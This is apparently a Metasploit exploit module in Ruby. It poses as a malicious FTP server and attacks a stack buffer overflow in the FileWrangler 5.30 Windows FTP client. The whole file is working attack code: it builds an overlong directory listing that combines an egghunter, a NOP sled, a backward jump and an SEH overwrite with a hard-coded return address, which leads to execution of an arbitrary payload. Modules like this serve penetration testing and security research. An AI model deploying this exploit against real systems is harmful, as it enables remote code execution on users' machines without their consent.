cgranleese-r7
110 lines
3.1 KiB
Ruby
110 lines
3.1 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = GoodRanking
|
|
|
|
include Msf::Exploit::Remote::FtpServer
|
|
include Msf::Exploit::Remote::Egghunter
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'FileWrangler 5.30 Stack Buffer Overflow',
|
|
'Description' => %q{
|
|
This module exploits a buffer overflow in the FileWrangler client
|
|
that is triggered when the client connects to a FTP server and lists
|
|
the directory contents, containing an overly long directory name.
|
|
},
|
|
'Author' => [
|
|
'nullthreat', # found bug
|
|
'corelanc0d3r <peter.ve[at]corelan.be>' # wrote the exploit
|
|
],
|
|
'License' => MSF_LICENSE,
|
|
'References' => [
|
|
[ 'OSVDB', '94555' ],
|
|
[ 'URL', 'http://www.corelan.be:8800/index.php/2010/10/12/death-of-an-ftp-client/' ]
|
|
],
|
|
'DefaultOptions' => {
|
|
'EXITFUNC' => 'seh',
|
|
},
|
|
'Payload' => {
|
|
'Space' => 3000,
|
|
'BadChars' => "\x00\x0d\x1a\x2a\x51",
|
|
'StackAdjustment' => -5000,
|
|
},
|
|
'Platform' => 'win',
|
|
'Targets' => [
|
|
[ 'Windows Universal', { 'Offset' => 4082, 'Ret' => 0x0042BE63 } ], # ppr [wrangler.exe]
|
|
],
|
|
'Privileged' => false,
|
|
'DisclosureDate' => '2010-10-12',
|
|
'DefaultTarget' => 0,
|
|
'Notes' => {
|
|
'Reliability' => UNKNOWN_RELIABILITY,
|
|
'Stability' => UNKNOWN_STABILITY,
|
|
'SideEffects' => UNKNOWN_SIDE_EFFECTS
|
|
}
|
|
)
|
|
)
|
|
end
|
|
|
|
def setup
|
|
super
|
|
end
|
|
|
|
def on_client_unknown_command(c, cmd, arg)
|
|
c.put("200 OK\r\n")
|
|
end
|
|
|
|
def on_client_command_list(c, arg)
|
|
conn = establish_data_connection(c)
|
|
if (not conn)
|
|
c.put("425 Can't build data connection\r\n")
|
|
return
|
|
end
|
|
print_status(" - Data connection set up")
|
|
code = 150
|
|
c.put("#{code} Here comes the directory listing.\r\n")
|
|
code = 226
|
|
c.put("#{code} Directory send ok.\r\n")
|
|
|
|
# create the egg hunter
|
|
print_status(" - Creating the Egg Hunter")
|
|
badchars = ""
|
|
eggoptions =
|
|
{
|
|
:checksum => true,
|
|
:eggtag => "W00T"
|
|
}
|
|
|
|
hunter, egg = generate_egghunter(payload.encoded, badchars, eggoptions)
|
|
|
|
# create hunter
|
|
predator = "\x90" * 42
|
|
predator << hunter
|
|
|
|
# create the crash payload
|
|
crash = rand_text_alpha(target['Offset'] - (egg.length + predator.length))
|
|
|
|
# Set nseh to jump back 50 (before egghunter)
|
|
jmp = "\x90" * 5 + "\xE9\xC9\xFF\xFF\xFF"
|
|
nseh = "\xEB\xF9\x90\x90" # NSEH
|
|
seh = [target.ret].pack('V')
|
|
|
|
print_status(" - Building the Buffer")
|
|
buffer = crash + egg + predator + jmp + nseh + seh
|
|
strfolder = buffer + "B" * (5000 - buffer.length) # make sure it dies
|
|
|
|
print_status(" - Sending directory list via data connection")
|
|
dirlist = "drwxrwxrwx 1 100 0 11111 Jun 11 21:10 #{strfolder}\r\n"
|
|
conn.put(dirlist)
|
|
conn.close
|
|
print_status(" - Waiting for egghunter...")
|
|
return
|
|
end
|
|
end
|